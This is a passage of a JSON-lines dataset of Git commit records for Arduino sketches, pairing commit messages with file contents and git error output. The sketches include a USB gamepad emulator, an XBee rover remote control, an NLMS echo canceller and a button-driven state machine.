file\n","repos":"Newark-Catholic-Robotics-Club\/Newark-Catholic-Atmospheric-Exploration-Project,Newark-Catholic-Robotics-Club\/Newark-Catholic-Atmospheric-Exploration-Project","old_file":"Sensors\/Sensor-Main.ino","new_file":"Sensors\/Sensor-Main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensors\/Sensor-Main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"12de000bc6d3888203ec9ae331899aa0db68a6b2","subject":"use symbloci link instead","message":"use symbloci link instead\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/src\/source.ino","new_file":"arduino\/src\/source.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a11b66e3a67951c5a68f6e46b151ec09ba266a14","subject":"Pitch and Roll Gain Amp","message":"Pitch and Roll Gain Amp\n\nIncreased P gain for FW pitch and roll\n","repos":"lowjunen\/THOR,lowjunen\/THOR","old_file":"Flight_Controller\/_01a_IO_Params.ino","new_file":"Flight_Controller\/_01a_IO_Params.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lowjunen\/THOR.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"747572cabeecb0789cd6f17fc57316731718b57b","subject":"Add sketch for emulating a USB gamepad (to make cocktail cabinets compatible with joy to key, and the game lab switcher)","message":"Add sketch for emulating a USB gamepad (to make cocktail cabinets compatible with joy to key, and the game lab switcher)\n","repos":"uclagamelab\/CocktailCabinet","old_file":"CocktailUSBGamepadEmulator\/CocktailUSBGamepadEmulator.ino","new_file":"CocktailUSBGamepadEmulator\/CocktailUSBGamepadEmulator.ino","new_contents":"\/\/ \n\/\/ *** Sketch to emulate a USB gamepad with the cocktail cabinet \n\/\/ joysticks for use with the UCLA Game Lab switcher.\n\/\/\n\/\/ *** Currently setup assuming a digital (not-analog) joystick\n\/\/\n\/\/ *** This sketch file is for use with Arduino Leonardo and\n\/\/ Arduino Micro only.\n\/\/\n\/\/ *** Requires this Arduino library\n\/\/ https:\/\/github.com\/MHeironimus\/ArduinoJoystickLibrary\n\/\/--------------------------------------------------------------------\n\n#include <Joystick.h>\n\n\/*\n\/\/pin values from keyboard version of sketch\nint upPin = 2;\nint downPin = 3;\nint leftPin = 4;\nint rightPin = 5;\nint buttonOnePin = 6;\nint buttonTwoPin = 7;\nint buttonThreePin = 8;\nint buttonFourPin = 9;\nint buttonFivePin = 10;\nint buttonSixPin = 11;\nint playerSelectBitOnePin = 12;\nint playerSelectBitTwoPin = 13;\n\n*\/\n#define pinGamepadButtonPairs_SIZE 12\nint pinGamepadButtonPairs[] = \n{\n 6, 3,\n 7, 4,\n 8, 5,\n 9, 0,\n 10, 1,\n 11, 2\n };\n\nint lastQuitButtonChordState;\n#define quitButtonPinChord_LENGTH 3\nint quitButtonPinChord[] = { 9,10,11 }; \n#define USE_QUIT_BUTTON_CHORD true\n#define QUIT_JOYSTICK_BUTTON 7\n\n\n\/\/UP > DOWN > LEFT > RIGHT \n #define pinJoystickDirectionPins_SIZE 4\n \/\/horizontal -> vertical\nint pinJoystickDirectionPins[] = \n{\n 2,\n 3,\n 4,\n 5\n };\n\n \/\/ Constant that maps the phyical pin to the joystick button.\nconst int pinToButtonMap = 6;\n\n\/\/ Last state of the button\nint lastButtonState[pinGamepadButtonPairs_SIZE];\/\/= {0,0,0,0};\n\nvoid setup() {\n \/\/ Initialize Button Pins\n for (int i = 0; i < pinGamepadButtonPairs_SIZE; i+=2)\n {\n int pin = pinGamepadButtonPairs[i];\n pinMode(pin, INPUT_PULLUP);\n }\n\n for (int i = 0; i < pinJoystickDirectionPins_SIZE; i++)\n {\n int pin = pinJoystickDirectionPins[i];\n pinMode(pin, INPUT_PULLUP);\n }\n\n\n pinMode(A0, INPUT_PULLUP);\n \/\/ Initialize Joystick Library\n Joystick.begin();\n}\n\n\n\nvoid loop() {\n\n \/\/ Read pin values\n for (int i = 0; i < pinGamepadButtonPairs_SIZE; i+=2)\n {\n int pin = pinGamepadButtonPairs[i];\n int joystickButton = pinGamepadButtonPairs[i + 1];\n int currentButtonState = !digitalRead(pin);\n if (currentButtonState != lastButtonState[i])\n {\n Joystick.setButton(joystickButton, currentButtonState);\n lastButtonState[i] = currentButtonState;\n }\n }\n\n for (int i = 0; i < pinJoystickDirectionPins_SIZE \/ 2; i++)\n {\n int posPin = !digitalRead(pinJoystickDirectionPins[(2*i)+1]);\n int negativePin = !digitalRead(pinJoystickDirectionPins[(2*i)]);\n int finalAxisVal = 0;\n bool isHorizontal = i == 1;\n if (posPin)\n {\n \n finalAxisVal = 127;\n \n }\n else if (negativePin)\n {\n finalAxisVal = -127;\n }\n\n if (isHorizontal)\n {\n Joystick.setXAxis(finalAxisVal);\n }\n else\n {\n Joystick.setYAxis(finalAxisVal);\n }\n }\n\n \/\/--- QUIT BUTTON SIMULATED ----\n if (USE_QUIT_BUTTON_CHORD)\n {\n bool currentQuitButtonChordState = true;\n \n for (int i = 0; i< quitButtonPinChord_LENGTH; i++)\n {\n currentQuitButtonChordState &= !digitalRead(quitButtonPinChord[i]);\n }\n \n if (currentQuitButtonChordState != lastQuitButtonChordState)\n {\n Joystick.setButton(QUIT_JOYSTICK_BUTTON, currentQuitButtonChordState);\n }\n \n lastQuitButtonChordState = currentQuitButtonChordState;\n }\n \/\/------\n\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CocktailUSBGamepadEmulator\/CocktailUSBGamepadEmulator.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"fb7db4fde67d4b0a63d1c874d985dd0dac2c0a4f","subject":"Add remote control, rear IR sensor","message":"Add remote control, rear IR sensor\n","repos":"Restioson\/Rover3,Restioson\/Rover3,Restioson\/Rover3,Restioson\/Rover3","old_file":"Arduino\/RoverRemoteControlJoystick\/RoverRemoteControlJoystick.ino","new_file":"Arduino\/RoverRemoteControlJoystick\/RoverRemoteControlJoystick.ino","new_contents":"\n\/\/Analog read pins\nconst int xPin = 0;\nconst int yPin = 1;\n\n\/\/to hold the caculated values\nint x;\nint y;\nint z;\n\n\/\/ XBEE\n#include <XBee.h>\n\n\/\/ The address of the Rover XBee\n#define ROVER_XBEE_ADDR 0x6524\n\/\/ #define ROVER_XBEE_ADDR 0xffff\n\n\/\/ Create an array for holding the data you want to send.\nuint8_t payload[] = { ' ' };\n\n\/\/ 16-bit addressing: Enter address of remote XBee, typically the coordinator\nTx16Request tx = Tx16Request(ROVER_XBEE_ADDR, payload, sizeof(payload));\nTxStatusResponse txStatus = TxStatusResponse();\n\n\/\/ create reusable response objects for responses we expect to handle \n\n\/\/ XBeeResponse response = XBeeResponse();\nRx16Response rx16 = Rx16Response();\nRx64Response rx64 = Rx64Response();\n\nuint8_t option = 0;\nuint8_t data = 0;\n\nunsigned long last_sent = millis();\n\nXBee xbee = XBee();\n\nenum Direction { FORWARD, BACK, LEFT, RIGHT, STOP };\n\nDirection newDirection = STOP;\nDirection currentDirection = STOP;\nDirection joystickDirection = STOP;\n\n\/\/ Serial movement commands\nint serialcom = 0;\n\n\/\/ ********** SETUP ***********\n\nvoid setup () {\n\n \/\/ Serial \n Serial.begin(115200);\n\n \/\/ Create an XBee object at the top of your sketch \n xbee.setSerial(Serial3);\n \n \/\/ Tell XBee to start Serial\n xbee.begin(9600);\n\n xbeeCheck();\n \n \/\/ Wait 3 seconds\n delay(3000);\n\n \n Serial.println(\"Rover Remote Control Start!\");\n}\n\n\/\/ ********** MAIN ***********\n\nvoid loop ()\n{\n \n if (!serialcom) {\n newDirection = STOP;\n }\n\n \/\/ Read joystick position data\n int x = analogRead(xPin);\n int y = analogRead(yPin);\n\n \/\/ Output the values\n Serial.print(\"Joystick x: \");\n Serial.print(x);\n Serial.print(\" | y: \");\n Serial.println(y);\n \n \/\/ Forward: 25 < x < 70\n \/\/ Backwards: 300 < x < 350\n \/\/ Left: 300 < y < 350\n \/\/ Right: 25 < y < 70\n\n \/\/ Decide which direction to go\n \n if ( y >= 700 ) {\n newDirection = FORWARD;\n serialcom = 0;\n } \n \n if ( y<= 200 ) {\n newDirection = BACK;\n serialcom = 0;\n } \n\n if (newDirection == STOP) { \n if ( x <= 100 ) {\n newDirection = LEFT;\n serialcom = 0;\n } \n \n if ( x >= 700 ) {\n newDirection = RIGHT;\n serialcom = 0;\n }\n }\n\n \/\/ Read serial data if available and if there isn't a joystick position\n if (Serial.available() > 0) {\n \/\/ read the incoming byte:\n int incomingByte = Serial.read();\n \n switch (incomingByte) {\n \n case 'U':\n newDirection = FORWARD;\n serialcom = 1;\n break;\n \n case 'D':\n newDirection = BACK;\n serialcom = 1;\n break;\n \n case 'L':\n newDirection = LEFT;\n serialcom = 1;\n break; \n \n case 'R':\n newDirection = RIGHT;\n serialcom = 1;\n break;\n \n case 'e':\n newDirection = STOP;\n serialcom = 0;\n break;\n }\n } \n \n \/\/ Send the command to the rover\n if (newDirection != currentDirection) {\n \n switch (newDirection) {\n \n case FORWARD:\n Serial.println(\"Go forward!\");\n sendCommand('W');\n break;\n \n case BACK: \n Serial.println(\"Go back!\"); \n sendCommand('S');\n break;\n\n case LEFT:\n Serial.println(\"Go left!\"); \n sendCommand('A');\n break;\n \n case RIGHT:\n Serial.println(\"Go right!\"); \n sendCommand('D');\n break;\n \n case STOP:\n Serial.println(\"STOP!\"); \n sendCommand(' ');\n break;\n \n }\n \n currentDirection = newDirection; \n }\n\n delay(250); \/\/just here to slow down the serial output - Easier to read\n \n \n}\n\n\/\/ ********** FUNCTIONS ***********\n\nvoid sendCommand(char cmd)\n{\n \n payload[0] = cmd;\n Serial.print(\"Sending cmd: [\");\n Serial.print(cmd);\n Serial.println(\"]\");\n \n \/\/ 16-bit addressing: Enter address of remote XBee, typically the coordinator\n Tx16Request tx = Tx16Request(ROVER_XBEE_ADDR, payload, sizeof(payload));\n\n xbee.send(tx);\n \n \/\/ after sending a tx request, we expect a status response\n \/\/ wait up to 5 seconds for the status response\n if (xbee.readPacket(5000)) {\n \/\/ got a response!\n \n \/\/ should be a znet tx status \t\n \tif (xbee.getResponse().getApiId() == TX_STATUS_RESPONSE) {\n \t xbee.getResponse().getZBTxStatusResponse(txStatus);\n \t\t\n \t \/\/ get the delivery status, the fifth byte\n if (txStatus.getStatus() == SUCCESS) {\n \t\/\/ success. time to celebrate\n Serial.println(\"success!\");\n } else {\n \t\/\/ the remote XBee did not receive our packet. is it powered on?\n Serial.println(\"did not receive packet\");\n }\n } \n } else if (xbee.getResponse().isError()) {\n Serial.print(\"error reading packet. Error code: \"); \n Serial.println(xbee.getResponse().getErrorCode());\n \/\/ or flash error led\n } else {\n \/\/ local XBee did not provide a timely TX Status Radio is not configured properly or connected\n Serial.println(\"unknown error\");\n }\n\n \n}\n\nvoid xbeeCheck()\n{\n \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/RoverRemoteControlJoystick\/RoverRemoteControlJoystick.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"40e4067d55ddae6f77b9745a8ee2c6e605179057","subject":"Add parameterized commands to start to set heat parameters and output in BLE.","message":"Add parameterized commands to start to set heat parameters and output in BLE.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"aea82a1cc8509955979830ec74011e14b974f418","subject":"Hello World :)","message":"Hello World :)\n","repos":"smit-happens\/YCP_EVOS,smit-happens\/YCP_EVOS,smit-happens\/YCP_EVOS","old_file":"Safety_System_Integration\/Safety_System_Integration.ino","new_file":"Safety_System_Integration\/Safety_System_Integration.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n \/\/ Patrick's new Project\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Safety_System_Integration\/Safety_System_Integration.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0df23210867694c6c28513f44debeb15e6ef573d","subject":"NLMS","message":"NLMS\n\nRev1\n","repos":"kfillerup\/NLMS_AEC,kfillerup\/NLMS_AEC","old_file":"NLMS_AEC\/NLMS_AEC.ino","new_file":"NLMS_AEC\/NLMS_AEC.ino","new_contents":"\n\/* NLMS Acousitc Echo Cancelation\n * Copyright (c) 2016, Sergey Makitrin, Kyler Fillerup\n * \n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice, development funding notice, and this permission\n * notice shall be included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n \n\/\/ Microphone to Speaker output\n#define NUMEL(x) (sizeof(x)\/sizeof((x)[0])) \/\/ retuns\/calculates the size of an array\n\n#include \"NLMS.h\"\n#include <Audio.h>\n#include <Wire.h>\n#include <SPI.h>\n#include <SD.h>\n#include <SerialFlash.h>\n\n\/\/*****functions**********\nvoid getBuffer1();\nvoid playData();\nvoid displayData();\nvoid NLMS_AEC();\n\n\/\/ GUItool: begin automatically generated code\nAudioInputI2S Mic; \/\/microphone\nAudioPlayQueue MicMem; \/\/queue for microphone\nAudioRecordQueue Memory;\nAudioOutputI2S headphones; \/\/output\nAudioConnection patchCord1(Mic, 0, Memory, 0);\nAudioConnection patchCord2(MicMem, 0, headphones,0);\nAudioConnection patchCord3(MicMem, 0, headphones,1);\nAudioControlSGTL5000 sgtl5000_1; \/\/xy=339.6666564941406,285.6666488647461\n\nconst int numBlocks = 2; \/\/min block size is 2!!!!!!\nconst int lFilt = numBlocks-1;\nconst int gg = lFilt*128;\nint16_t *pAddr; \/\/pointer to 128 block of getBuffer\nint16_t lblock = numBlocks*128; \/\/length of arrays\nint16_t ablock[128*numBlocks]; \/\/ set an array block\nint16_t error[128]; \nint16_t *Perror;\nint16_t *pablock; \/\/ pointer to an array block\nint16_t *pp; \/\/ pointer to getBuffer\nint n;\nunsigned long time1; \/\/ time variable\n\n\n\/\/***************NMLS const and settings*************************\nconst int16_t numTaps = gg;\nint16_t mu = 13;\nint16_t mu0 = 0;\nint8_t psi = 1;\nint16_t w[numTaps];\nint16_t *pw; \/\/ pointer to w \nint16_t yhat = 0;\nint64_t xtdl = 0;\n\n\n\/\/define input\/source\nconst int micInput = AUDIO_INPUT_MIC;\n\nvoid setup() {\n memset(w,0,numTaps);\n memset(ablock,100,128*numBlocks*2);\n memset(error,0,128);\n \/\/initialize pointers for NLMS\n pw = w;\n Perror = error;\n Serial.begin(9600); \/\/ initiate baud rate for serial comm.\n AudioMemory(8); \/\/ allocate # of audio memory (each block has 128 sample of data)\n sgtl5000_1.enable(); \/\/ enalbe \n sgtl5000_1.volume(0.5); \/\/ output volume\n sgtl5000_1.inputSelect(micInput); \/\/input selection (mic or line in)\n sgtl5000_1.micGain(26); \/\/ mic gain\n \/\/set array values to zero\n pablock = ablock; \/\/ assign pointer to array\n delay(1000);\n}\n\n\n\/\/***************************MAIN LOOP********************************************************************\nvoid loop() {\n\/\/Serial.println(millis()); \/\/ print time \ngetBuffer1(numBlocks); \/\/returns pointer to the buffered data\n\/\/print sample to serial plotter \n\/\/displayData(pablock); \/\/ print data to serial plotter\n\/\/NLMS_AEC(pablock,pablock);\n\/\/for(int i = 0; i<128;i++){\n\/\/ Serial.println(w[i]);\n\/\/}\n}\n\/\/*********************************************************************************************************\n\/\/ print data to serial plotter\nvoid displayData(int16_t * data){\n for(int i = 0; i<128*numBlocks;i++){\n Serial.println(*(data+i));\n}\n}\n\/\/ play data to speaker\nvoid playData(int16_t *data, int i){\n pAddr = MicMem.getBuffer(); \/\/get pointer to 128 array playBuffer \n \/\/ take one block from buffer array (ablock) and copy it to playBuffer pointer\n \/\/ play that block\n memcpy((byte*)pAddr,(byte*)data+(256*i),256);\n MicMem.playBuffer();\n}\n\n\/\/ buffer an array with samples from Microphone\n\/\/ function receives and array and integer indicating number of blocks\nvoid getBuffer1(int x) {\n Memory.begin(); \/\/ begin putting sample data into memory\n int l = 0;\n memcpy((byte*)pablock,(byte*)pablock+256,256*(x-1));\n \/\/ put 128 blocks of sample into an array size of 128*(number of blocks)\n while(l == 0){ \/\/ wait until block samples are available\n if(Memory.available() ==1) {\/\/ if availabe copy 128 block to array and get out of while loop \n \/\/read one 128 block of samples and copy it into array\n memcpy((byte*)pablock+(256*(x-1)),Memory.readBuffer(),256);\n Memory.freeBuffer(); \/\/ free buffer memory\n\/\/ NLMS_AEC(pablock,pablock);\n\/\/ playData(Perror,0); \/\/ play 128 block from buffered array\n l = 1; \/\/ set n to 1 to get out of while loop\n }\/\/end if \n }\/\/end while \n NLMS_AEC(pablock,pablock);\n playData(Perror,0); \/\/ play 128 block from buffered array\n l = 0;\n Memory.clear(); \/\/ clear all audio memory \n Memory.end();\n\/\/ return ablock; \/\/ regurn pointer to array\n}\n\n\/\/ NMLS algorithm\n\/\/ inputs are Mic Signal, far end signal and index of n-1 block wher n is the current block itteration\n\/\/ previous block data is used to modify current block data samples\nvoid NLMS_AEC(int16_t *Mic, int16_t *x){\n for(int h = 0; h<128;h+=1){\n for(int j = gg; j>0;j-=1){\n yhat += (x[j+h]*pw[gg-j])\/32768;\n xtdl += x[j+h]*x[j+h];\n }\n error[h] = Mic[gg+h]-yhat;\n yhat = 0;\n xtdl = xtdl + psi;\n mu0 = (67108864*mu)\/xtdl;\n xtdl = 0;\n \n \/\/update filter taps\n for(int j = 0; j<gg;j+=1){\n pw[j] = pw[j] + (x[gg-j+h]*mu0*error[h])\/131072;\n }\/\/end for\n }\/\/end for outer\n}\/\/ end NLMS_AEC\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"ea2b3f7eb13f700c66c4ad47f611606adeed9984","subject":"Create possible.ino","message":"Create possible.ino","repos":"hpssjellis\/spark-core-socket-client-or-server","old_file":"spark-as-client\/possible.ino","new_file":"spark-as-client\/possible.ino","new_contents":"\/\/ SYNTAX\n\/\/form spark community https:\/\/community.spark.io\/t\/tcp-connection-to-private-server-spark-core-as-tcp-client\/4823\/9\n\n\n\/\/TCPClient client;\n\/\/ EXAMPLE USAGE\n\nTCPClient client;\nbyte server[] = { 192, 168, 164, 3 }; \/\/ Google\nvoid setup()\n{\nSerial.begin(9600);\ndelay(1000);\nSerial.println(\"connecting...\");\n\nif (client.connect(server, 2088))\n{\nSerial.println(\"connected\");\nclient.println(\"GET \/search?q=unicorn HTTP\/1.0\");\nclient.println(\"Host: www.google.com\");\nclient.println(\"Content-Length: 0\");\nclient.println();\n}\nelse\n{\nSerial.println(\"connection failed\");\n}\n}\n\nvoid loop()\n{\nif (client.available())\n{\nSerial.println(\"connected\");\nchar c = client.read();\nSerial.print(c);\n}\n\nif (!client.connected())\n{\nSerial.println();\nSerial.println(\"disconnecting.\");\nclient.stop();\nfor(;;)\n{\nSerial.println(\"connection failed\");\n}\n}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'spark-as-client\/possible.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dbe29b867d65715d8288b1b0266d9e6da3e48e4d","subject":"Implemented motor control","message":"Implemented motor control\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"software\/embedded\/Arduino Code\/basicControllerCode\/basicControllerCode.ino","new_file":"software\/embedded\/Arduino Code\/basicControllerCode\/basicControllerCode.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/embedded\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/basicControllerCode\/basicControllerCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"afdec5730c499e9e821dd6fcb088633a55f654f7","subject":"Did a bunch of class tybluServo stuff that really needs to move to its own file.","message":"Did a bunch of class tybluServo stuff that really needs to move to its own file.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"PID example\/pid_example\/pid_example.ino","new_file":"PID example\/pid_example\/pid_example.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'PID' did not match any file(s) known to git\nerror: pathspec 'example\/pid_example\/pid_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7c2c546201d7c2a105b5a0256683d6a410cee8e2","subject":"Created a finite state machine to using a buttin cycle through the states.","message":"Created a finite state machine to using a buttin cycle through the states.\n","repos":"zteifel\/booboo,zteifel\/booboo","old_file":"Tests\/FSM\/FSM.ino","new_file":"Tests\/FSM\/FSM.ino","new_contents":"\nconst int buttonPin = 8; \/\/ the number of the pushbutton pin\nconst int numberOfStates = 3;\n\n\n\/\/ variables will change:\nint buttonState = 0; \/\/ variable for reading the pushbutton status\nint currentState = numberOfStates - 1;\nbool buttonPressed;\n\nvoid setup() {\n \/\/ initialize the pushbutton pin as an input:\n pinMode(buttonPin, INPUT);\n\n Serial.begin(9600);\n \n}\n\nvoid loop() {\n \/\/ read the state of the pushbutton value:\n buttonState = digitalRead(buttonPin);\n\n \/\/ check if the pushbutton is pressed.\n \/\/ if it is, the buttonState is HIGH:\n if (buttonState == HIGH) {\n buttonPressed = true;\n } else {\n if (buttonPressed) {\n currentState = (currentState + 1) % numberOfStates;\n buttonPressed = false;\n Serial.print(\"Pressed!\");\n Serial.print(\" \");\n Serial.println(currentState);\n } else {\n buttonPressed = false;\n }\n \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Tests\/FSM\/FSM.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"86438fc84b663ebee6dbe357178d92b3562a3606","subject":"Added ConsolePixel example","message":"Added ConsolePixel example\n","repos":"mattvenn\/Arduino,fungxu\/Arduino,nandojve\/Arduino,weera00\/Arduino,tannewt\/Arduino,andyvand\/Arduino-1,drpjk\/Arduino,plaintea\/esp8266-Arduino,superboonie\/Arduino,danielchalef\/Arduino,benwolfe\/esp8266-Arduino,gurbrinder\/Arduino,Protoneer\/Arduino,laylthe\/Arduino,Cloudino\/Arduino,ForestNymph\/Arduino_sources,NaSymbol\/Arduino,sanyaade-iot\/Arduino-1,myrtleTree33\/Arduino,drpjk\/Arduino,jaehong\/Xmegaduino,NaSymbol\/Arduino,kidswong999\/Arduino,ricklon\/Arduino,ektor5\/Arduino,gberl001\/Arduino,benwolfe\/esp8266-Arduino,jmgonzalez00449\/Arduino,Gourav2906\/Arduino,spapadim\/Arduino,sanyaade-iot\/Arduino-1,jomolinare\/Arduino,danielchalef\/Arduino,sanyaade-iot\/Arduino-1,andyvand\/Arduino-1,noahchense\/Arduino-1,karlitxo\/Arduino,ccoenen\/Arduino,ntruchsess\/Arduino-1,OpenDevice\/Arduino,eddyst\/Arduino-SourceCode,andrealmeidadomingues\/Arduino,pdNor\/Arduino,wayoda\/Arduino,kidswong999\/Arduino,jaej-dev\/Arduino,eggfly\/arduino,gurbrinder\/Arduino,adafruit\/ESP8266-Arduino,shiitakeo\/Arduino,arduino-org\/Arduino,mangelajo\/Arduino,paulmand3l\/Arduino,eeijcea\/Arduino-1,wayoda\/Arduino,stevemarple\/Arduino-org,EmuxEvans\/Arduino,andyvand\/Arduino-1,PeterVH\/Arduino,mangelajo\/Arduino,zenmanenergy\/Arduino,jabezGit\/Arduino,koltegirish\/Arduino,paulmand3l\/Arduino,gurbrinder\/Arduino,mangelajo\/Arduino,jamesrob4\/Arduino,pdNor\/Arduino,shannonshsu\/Arduino,shannonshsu\/Arduino,acosinwork\/Arduino,ashwin713\/Arduino,jabezGit\/Arduino,jaej-dev\/Arduino,xxxajk\/Arduino-1,stickbreaker\/Arduino,drpjk\/Arduino,chaveiro\/Arduino,NicoHood\/Arduino,jomolinare\/Arduino,weera00\/Arduino,bigjosh\/Arduino,Alfredynho\/AgroSis,toddtreece\/esp8266-Arduino,ari-analytics\/Arduino,talhaburak\/Arduino,jamesrob4\/Arduino,PeterVH\/Arduino,eggfly\/arduino,adamkh\/Arduino,ForestNymph\/Arduino_sources,sanyaade-iot\/Arduino-1,plinioseniore\/Arduino,jaej-dev\/Arduino,eeijcea\/Arduino-1,henningpohl\/Arduino,tbowmo\/Arduino,zenmanenergy\/Arduino,PeterVH\/Arduino,weera00\/Arduino,smily77\/Arduino,laylthe\/Arduino,ricklon\/Arduino,leftbrainstrain\/Arduino-ESP8266,damellis\/Arduino,eggfly\/arduino,ricklon\/Arduino,adamkh\/Arduino,adamkh\/Arduino,pdNor\/Arduino,ForestNymph\/Arduino_sources,damellis\/Arduino,eduardocasarin\/Arduino,kidswong999\/Arduino,kidswong999\/Arduino,jaimemaretoli\/Arduino,NaSymbol\/Arduino,radut\/Arduino,jaimemaretoli\/Arduino,raimohanska\/Arduino,ektor5\/Arduino,snargledorf\/Arduino,SmartArduino\/Arduino-1,rcook\/DesignLab,damellis\/Arduino,laylthe\/Arduino,ikbelkirasan\/Arduino,NicoHood\/Arduino,ogferreiro\/Arduino,Chris--A\/Arduino,garci66\/Arduino,Gourav2906\/Arduino,leftbrainstrain\/Arduino-ESP8266,NicoHood\/Arduino,me-no-dev\/Arduino-1,jamesrob4\/Arduino,KlaasDeNys\/Arduino,eduardocasarin\/Arduino,tannewt\/Arduino,aichi\/Arduino-2,gestrem\/Arduino,tomkrus007\/Arduino,ari-analytics\/Arduino,onovy\/Arduino,SmartArduino\/Arduino-1,aichi\/Arduino-2,gurbrinder\/Arduino,spapadim\/Arduino,wilhelmryan\/Arduino,radut\/Arduino,paulmand3l\/Arduino,zaiexx\/Arduino,adamkh\/Arduino,wdoganowski\/Arduino,mc-hamster\/esp8266-Arduino,ssvs111\/Arduino,ikbelkirasan\/Arduino,ricklon\/Arduino,eduardocasarin\/Arduino,acosinwork\/Arduino,spapadim\/Arduino,me-no-dev\/Arduino-1,steamboating\/Arduino,KlaasDeNys\/Arduino,stevemayhew\/Arduino,superboonie\/Arduino,Gourav2906\/Arduino,wayoda\/Arduino,mateuszdw\/Arduino,ikbelkirasan\/Arduino,paulo-raca\/ESP8266-Arduino,eduardocasarin\/Arduino,henningpohl\/Arduino,laylthe\/Arduino,scdls\/Arduino,stickbreaker\/Arduino,byran\/Arduino,Protoneer\/Arduino,SmartArduino\/Arduino-1,stevemarple\/Arduino-org,stevemarple\/Arduino-org,lulufei\/Arduino,talhaburak\/Arduino,cscenter\/Arduino,ogferreiro\/Arduino,jmgonzalez00449\/Arduino,snargledorf\/Arduino,EmuxEvans\/Arduino,tommyli2014\/Arduino,kidswong999\/Arduino,ccoenen\/Arduino,paulo-raca\/ESP8266-Arduino,fungxu\/Arduino,garci66\/Arduino,ForestNymph\/Arduino_sources,zaiexx\/Arduino,sanyaade-iot\/Arduino-1,jaimemaretoli\/Arduino,ssvs111\/Arduino,Cloudino\/Arduino,Protoneer\/Arduino,wilhelmryan\/Arduino,lulufei\/Arduino,ektor5\/Arduino,vbextreme\/Arduino,steamboating\/Arduino,mattvenn\/Arduino,HCastano\/Arduino,zaiexx\/Arduino,tbowmo\/Arduino,NicoHood\/Arduino,Alfredynho\/AgroSis,ForestNymph\/Arduino_sources,UDOOboard\/Arduino,benwolfe\/esp8266-Arduino,OpenDevice\/Arduino,superboonie\/Arduino,bsmr-arduino\/Arduino,mateuszdw\/Arduino,bsmr-arduino\/Arduino,aichi\/Arduino-2,gestrem\/Arduino,benwolfe\/esp8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,niggor\/Arduino_cc,UDOOboard\/Arduino,adafruit\/ESP8266-Arduino,jaimemaretoli\/Arduino,ccoenen\/Arduino,niggor\/Arduino_cc,acosinwork\/Arduino,vbextreme\/Arduino,wilhelmryan\/Arduino,zaiexx\/Arduino,koltegirish\/Arduino,ThoughtWorksIoTGurgao